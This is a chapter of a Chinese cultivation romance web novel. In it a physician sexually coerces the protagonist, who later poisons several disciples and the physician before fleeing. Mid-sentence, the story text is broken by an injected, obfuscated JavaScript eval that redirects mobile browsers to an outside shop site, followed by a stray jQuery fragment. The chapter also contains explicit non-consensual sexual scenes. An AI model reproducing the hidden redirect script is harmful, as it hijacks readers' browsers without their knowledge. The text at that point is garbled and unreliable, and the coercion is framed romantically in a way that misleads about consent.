江昭阴暗地抿着唇,没有否认。
谢砚雪屡次想要杀他,他才不会跟谢砚雪求救,谁知道这贱人会不会笑话他,说不定这贱人现在就在心中骂他了。
谢砚雪确实骂了。
他才离开几日,这小蠢货就要成婚了?还是和一个一百八十多岁的老变态。
是不是他再在谷底秘境多待些时日,小蠢货都要被这老变态搞大肚子了?
谢砚雪恶心的松开手。
“瑶光苑是我和昭昭的居所,禁止他人入内,不过我和昭昭即将成婚,不宜见血腥,便不计较谢道友私自闯入,还请谢道友自行离开。”
苏戚对他的回应很满意,心情格外愉悦地将江昭抱回竹楼。
刚一沾上床,江昭就裹着被褥往里面滚。
药浴之前他还觉得自己可以撑到成婚那日,但醒过来的那一幕让他觉得不可以了,苏戚就是个随时随地发.情的畜牲,时时刻刻都想要将他睡了。
江昭不怕死,却怕极了被苏戚糙。
凭什么他一个男子却要雌伏于男人身下?就算不是和女子成婚生子,他也不该沦落至此!
“昭昭,我忍不住了怎么办?”
喑哑的嗓音隔着被褥飘来。
这老变态!
江昭浑身轻颤,是气的也是怕的,将被褥盖得更紧了,恶狠狠地闷声道:“能怎么办?快点割了吧!”
耳边传来一小阵悉悉索索的声音。
江昭还没有想明白是什么,被褥就被一股大力拉扯,从他身上掀开,也将他整个人从墙角里拽了过来。
江昭睁眼就看见褪下衣服的苏戚。
苏戚是名药修,肤色很白,身形高大却不健硕骇人,肌理分明的腰腹劲瘦紧致,沉重呼吸之间,连带着腹股沟一同起伏。
江昭一时愣住。
直到苏戚凑近,热气让他不适的后退,同时下意识抬起手重重扇了苏戚一巴掌,连他自己都未发觉说出来的话带着不安的颤音:“你现在要是敢碰我,我就算是死也绝不会嫁给你。”
苏戚手上的动作停了片刻,随后扯开江昭的衣服,带着偏执和不容拒绝的强硬,还有一股说不清的情绪。
“你已经答应就给我,就不能反悔。昭昭,让我舔舔。”
舔…舔什么?
江昭看见苏戚低下头,卷走他颈边的鲜血,又缓缓转向其他领地,湿漉漉的触感让他心尖发颤,大脑一片空白,待看清苏戚脸上露出的迷恋,他终于明白苏戚趁他在温泉里睡着时对他做了什么,顿时升起强烈的不适感。
他恶心地想要翻身下去,用尽了全身的力气对苏戚又打又踹,但这用来放在谢砚雪身上的招式对苏戚来说并不适用。
还激得苏戚有些失控,宽大的手掌抓住他的双手置于头顶,整个人压在他的身上,要命似的触碰到了他的致命弱点。
江昭浑身一僵,头皮发紧,唇齿边轻溢出一声,“……你在干什么?”
回答他的是晃动的床榻,和传来痛意的大腿,像是遭受了酷刑,皮都快要褪掉一层。
终于意识到苏戚在干什么,江昭顿时惊恐地瞪大双眼,浑身泛起瘆人的恶寒,“放开我……不然我现在就死给你看!”
他动不了苏戚,只能用自己威胁。
舌尖落在白齿上。
只不过刚要动,就被一股无形的力量阻挡,与此同时,苏戚不满他的威胁,要进不进的当作一个教训恐吓他,吓得他整个人再度紧绷起来。
“我不碰你,只借你的腿用用。”
苏戚低头在他耳边哑声:“有我在,你永远都别想死。”
江昭才不信他说的话,怕他一不小心来真的,一边仔细注意着,一边不忘咒骂他,“……臭不要脸的老变态,贱人,你要是敢进来,就不得好死……快点放开我,滚开!”
苏戚欣然听着,“昭昭,骂的再大声一些,就让我死在你身上如何?”
“滚!”
不知过了多久,江昭感觉苏戚按住自己双腿的手掌力道加重,下一刻,苏戚的幅度更快了起来,仿佛要将他的腿生生磨断似的,吓得他脸色发白,扭曲了一下,低吼:“死变态,你给我停下!”
直到结束,苏戚才停下。
江昭感觉自己被玷污了,恶心地想要吐,却突然被苏戚翻了个身,背对着他双膝跪坐。
这个姿势很不安全,仿佛下一瞬就会被占有,他脸色再度变化,阴郁难看,扭过头去又狠狠抽了苏戚一巴掌,惊破了嗓音,“你……”
苏戚脸上情.欲未减,那双幽深恨不得将他吞吃掉:“再帮帮我吧。”
“昭昭。”
……
江昭再迟钝也感觉出来苏戚不仅仅是对着他发.情了,还急不可耐地想要将他的身上都沾染上属于他的气息,像是在对外宣布所属权一般。
定有谢砚雪那贱人的缘故。
紧要关头,江昭心急火燎地打断苏戚。
“你去杀了谢砚雪,让他魂飞魄散我就嫁给你,还会如你所愿,在成婚那日帮你如何?这是我唯一的要求,我会心甘情愿地嫁给你,成为你的妻子。”
“你这样跟玩一条死鱼有什么区别?一点乐趣都没有,只要你去杀了谢砚雪,我就在成婚那日帮你,用哪里都可以,想要什么姿势也可以。”
见苏戚停下,他继续低声引诱,“你去买些春宫图来,我可以照着学。成婚总归是人生大事,自然不能怠慢,该给我们的新婚之夜留一个难忘的回忆不是吗?”
苏戚思忖片刻,一瞬不瞬地看着他,“杀了谢砚雪?你很讨厌他?”
江昭冷笑了一声,发自内心地说:“岂止是讨厌,我是恨不得他死。”
还有你这个死变态。
他不知苏戚是何修为,但谢砚雪那贱人不是个好对付的,身上的法器和诡异禁制有很多,等谢砚雪和苏戚互咬时,他就想办法离开。
谢砚雪死了最好,不死就帮他多拖延点时间再死。
苏戚笑了,不知道在高兴什么。
江昭提出的条件很诱人,他很难拒绝,艰难地克制住自己的冲动,和昨日一样只抱着睡了一晚。
等苏戚清早再次为江昭的伤口抹上药后离开神药谷去□□宫图,江昭才敢安心入睡。
那几名弟子不敢轻视江昭,连夜将江昭要求的丹丸和药剂都制作出来,送到瑶光苑。
江昭不知药效如何,怕他们诓骗自己,让他们纷纷服用自己制作的丹丸和药剂,见一个都没出错,随手将几个药剂混在一起,又把丹丸捏碎了塞进一个水晶瓶里面。
这样随意糟蹋的手法看得几名弟子不敢怒也不敢言,只敢在心里苦兮兮地流泪,静悄悄地往外迈步子。
才迈出一步,耳边忽然传来一声晴天霹雳:“谁让你们走了?”
江昭带他们去药室,掀开木案上的茶壶盖,将水晶瓶里的药液倒进去一滴,摇匀后分了几杯给这几名弟子。
几名弟子犹豫:“这……恐怕会有问题。”
他们不知道丹丸和药剂混在一起的具体效果,也不知道江昭是什么意思,但凭借着他们十几年的行医炼药经验,能猜到这些药混在一起会出事。
“那就别走了,继续炼药。”江昭幽幽说:“我去翻了下书籍,看看今天炼些什么,明天炼些什么,后天炼些什么。”
“……”
这谷主夫人魔鬼来的吧。
几名弟子脸都白了:“我们喝,我们喝!”
他们不信江昭还能搞死他们,端起茶杯一饮而尽。
江昭直勾勾地看着他们,“什么感觉?”
“识海有些疼……”几名弟子捂着头,还没有说完话,就身子一歪,倒在地上。
江昭双眼一亮,乱识销神无色无味,对修士的识海和神魂来说是致命毒药,会悄无声息地将其一点点腐烂吞噬,一旦损伤极难恢复。
看来这乱识销神的毒药照着前日在毒经上看到的配方勉强算是调配成功了,只是他将调配方式改得更复杂了些,又混在茶水里面减弱了毒性。
他高兴地将药室房门关上,将剩余毒药都倒进凉台的茶壶。
刚晃匀,苏戚就回来了。
他不止买了春宫图,还买了话本、银环、脚链、银托子、肚兜、软鞭……将小半个储物袋都装满了,看得江昭眼前一黑,恨不得立刻将这些东西都销成灰,但苏戚在一旁看着,他只能硬着头皮,装模作样地将这些东西都收起来放在木案上。
苏戚直勾勾地将江昭的反应尽收眼底,俊美脸上难掩兴奋,哑声说:“昭昭好好学。”
江昭咬牙在苏戚的目光下继续翻开一本春宫图,只一眼,便希望自己的双眼都瞎了才好。
恶心。
实在是太恶心了。
他几乎快要装不下去,想要将这本春宫图摔在苏戚的脸上,却见苏戚执手一挥袖,他手里的春宫图和放置在木案上的话本飞至半空中,纸上的人变成了活生生的小人,就着原本的模样将话本内容活色生香的演绎了一遍。
“……”
江昭瞪大了双眼。
看看画像和文字就算了,苏戚这死变态怎能用术法让其动起来,还篡改两位主角的名字。
江昭感觉自己的眼睛和双耳受到了玷污,偏偏苏戚还故意问他:“觉得恶心?那就不看了。”
不看了之后会做点什么,简直不言而喻。
江昭只得咬牙说:“不,不恶心。”
他定要寻个机会将那毒药半数都倒在这老变态的身上,让他这辈子再也无法人道!
江昭被迫看了一个时辰,用完晚膳后被苏戚带去药浴,流程比昨日还简单得多,只在温泉里面泡了半个时辰。
苏戚抱他回房,让他接着看。
“我喜欢这个姿势……”
江昭忍无可忍,将茶杯里混着毒药的茶水灌进苏戚嘴里堵上他的话,真希望他立刻被毒死才好。
可惜没看见他被毒死,反倒让他眉头一紧,看着江昭手中的茶杯,“这茶水……”
被发现了?
江昭心头猛地一跳,指尖用力地捏紧了茶杯,万分紧张地看着苏戚,嗓子干涩,说话都变得不自然了,“这茶水怎么了?”
苏戚没说话。
江昭忽然意识到自己遗忘了一件事,苏戚身为神药谷谷主,他看过的那本毒经也不知道被苏戚看过多少次,怎么可能会辨认不出来?
苏戚知道自己想要害死他,会饶过自己吗?是会将自己杀了,还是直接强迫?
江昭的心很乱,后背更是升起了一层薄薄的汗。尤其是被苏戚看着,他的镇定自若几乎快要装不下去,想要暴露本性。
就在他打算来个鱼死网破时,苏戚终于回他:“凉了,味道有些浓。”
“……”
江昭一口气差点没上来,表情没控制住狰狞了下,“说话不会一口气说完?你别在我这里烦我了,我会好好学的,你答应我的事情是不是忘了去做了?”
苏戚看着他,神情专注:“你说了会乖乖嫁给我,我怎
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17809893|210799||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
会忘记?学累了可以歇一歇,在这里等我回来。”
江昭看着苏戚离开,胸口那口郁气终于消散,笑得阴邪,步伐欢快地跑去药室,取走那些弟子身上的玉牌。
出来时,远处的天空出现骇人异象。
江昭将自己藏得严严实实,想了想,还是跑去寝室将那枚防御能力大幅度降低的玉佩戴上,往离开瑶光苑的那条蜿蜒小路上走,离结界只剩下半步距离,他藏进竹林。
越过结界时,腰间的玉牌发出淡淡光芒,江昭松了口气,加快脚步往下跑。
天空的阴云密布打破了夜晚的平静,骇人的威压和森森鬼气冲天朝着内谷蔓延,隐约还能听见万鬼嘁吼的声音,让人听得心悸。
数多弟子跑出竹舍,遥遥看着远方,其中一名弟子说:“有人在外谷闹事,我带人前去查看,你们用玉符联系管事长老。”
说话的那人带着几名弟子匆匆离开。
江昭浑身狼狈地继续在竹林里走动,他不敢离得太近,怕被发现,鬼鬼祟祟地跟在那群前往外谷的弟子身后。
没走多久,领头的那人突然停下脚步,猛地往后看去,“谁?”
江昭的心紧跟着一颤,反应极快地藏在一片密集的竹子和草堆后面,连呼吸都放慢了许多,一动不动地听着远处的脚步声再次响起,却不是远去,而是冲向他。
他感觉自己的心脏都快要跳出胸腔了。
苏戚和谢砚雪还不知道是什么情况,要是被这些人发现,说不定会被带往外谷,一旦和苏戚碰面,他就真完了。
江昭听见脚步声越来越近,双手攥紧。
低沉的声音从前方传来,“出来!”
江昭咬了咬牙,酝酿了下情绪,仰头开口正要说他被那异样吓到,慌不择路地从外谷跑到这里来,后腰突然被扯住往后一拉,来不及去看是谁,就被身后的人抱着狂奔向谷郊林。
领头弟子忙道:“追上去!”
那人跑得很快,颠得江昭腰腹难受,等甩开那群弟子,那人才将他放下来。
他踉跄站好,缓了好一会儿,抬头怔怔地看着眼前散发着黑雾的少年,错愕道:“你怎么在这里?”
陈榆笑着看他:“哥哥,我们又见面啦。”
他依旧热情地自顾自说着:“我忘记跟哥哥说另一个故事了,风陵镇的男人总是想要往外跑,他们觉得离开风陵镇或者去寻仙人求救就可以继续苟活,可我怎么会让他们如愿?他们逃,我就追,不论生死将其带回风陵镇。”
江昭突然想起在马车上闻到的血腥味。
“那根本不就是你口中的牲肉?”
陈榆笑嘻嘻点头,“那是几具死掉的尸体。”
江昭不受控制地回想起当时的画面,遮盖严实的布消失,露出里面血淋淋的尸体,与他的距离不过四五寸,霎时干呕出来。
陈榆又说:“有次正好碰到谢砚雪的尸体,本想当个阵法的节点,没想到他戾气冲天,我正想将尸体丢掉,哥哥就闯了进来,将他的尸体毁得连灰都不剩。但即便如此,谢砚雪还是将这笔账算在了我头上,他带你离开的时候,顺道杀了我。”
当时情况紧急,谢砚雪没能斩草除根。
陈榆意外借着被谢砚雪用鬼气开启的阵法变成怨鬼,飘荡时阴差阳错被卷进谷底秘境,和谢砚雪碰上。
他还没给兄长报仇,不想死,果断弃了起司霜华选择追随谢砚雪。
也不知道谢砚雪怎么想的,竟真的收下他。
直到现在,他有些明白了。
“哥哥,苏神医对主人动手是不是你要求的?”陈榆咬了咬唇,似是还将他当作哥哥的替身,不舍得对江昭动手,但想到是江昭破坏了他的阵法,又选择乖乖地听话,“主人让我来杀了你。”
江昭暗骂一声贱人,抬起穿过竹林时被伤到的手,往陈榆身上甩,不忘撒开腿往林子里跑。
幸好陈榆不像谢砚雪那么逆天,转成鬼修后的修为并不高。
谷郊林夜间雾气浓重,还有瘴气弥漫,隐约还能听见蛇虫窸窸窣窣的声音。
江昭就算是死也不会让别人好过,抓紧腰间的玉佩,一头栽进去。
陈榆紧跟在后,好声商量:“哥哥,你跑这么快做什么?说不定你告诉我那日到底发生了什么,你是如何回溯时光,让那些人起死回生的,我会选择不听主人的话。”
江昭说了也是白说。
哪怕已经跑了两个时辰,累得连喘气都困难,在没甩开陈榆之前,他还是不敢停下,在树林分叉口随便选了一个路继续跑。
不知过了多久,身后的声音终于消失。
-
谢砚雪修为虽低,但并不好对付。
乱识销魂正好发作,苏戚差点死于谢砚雪之手,费了好一番功夫才杀了谢砚雪。
“昭昭,千万别让我对你失望。”他压□□内毒素,低声轻轻呢喃,没管身上的伤势,只掐了个净身诀,便直接缩地成寸回到瑶光苑。
房内早已没了江昭的身影。
苏戚赶来时抱有的那丝希望彻底破灭,面无表情地来到药室,只见昨日被他喊来陪江昭的几名弟子都倒在地上,腰间的弟子玉牌消失不见。
忍痛外放的神识也在瑶光苑内寻不到江昭。
果然,他还是跑了。
就这么不想待在他身边?
苏戚头痛欲裂,一掌轰碎半个竹楼,消失在原地。
答应了做他的新娘怎么能跑呢?
他要亲手将他的新娘抓回来。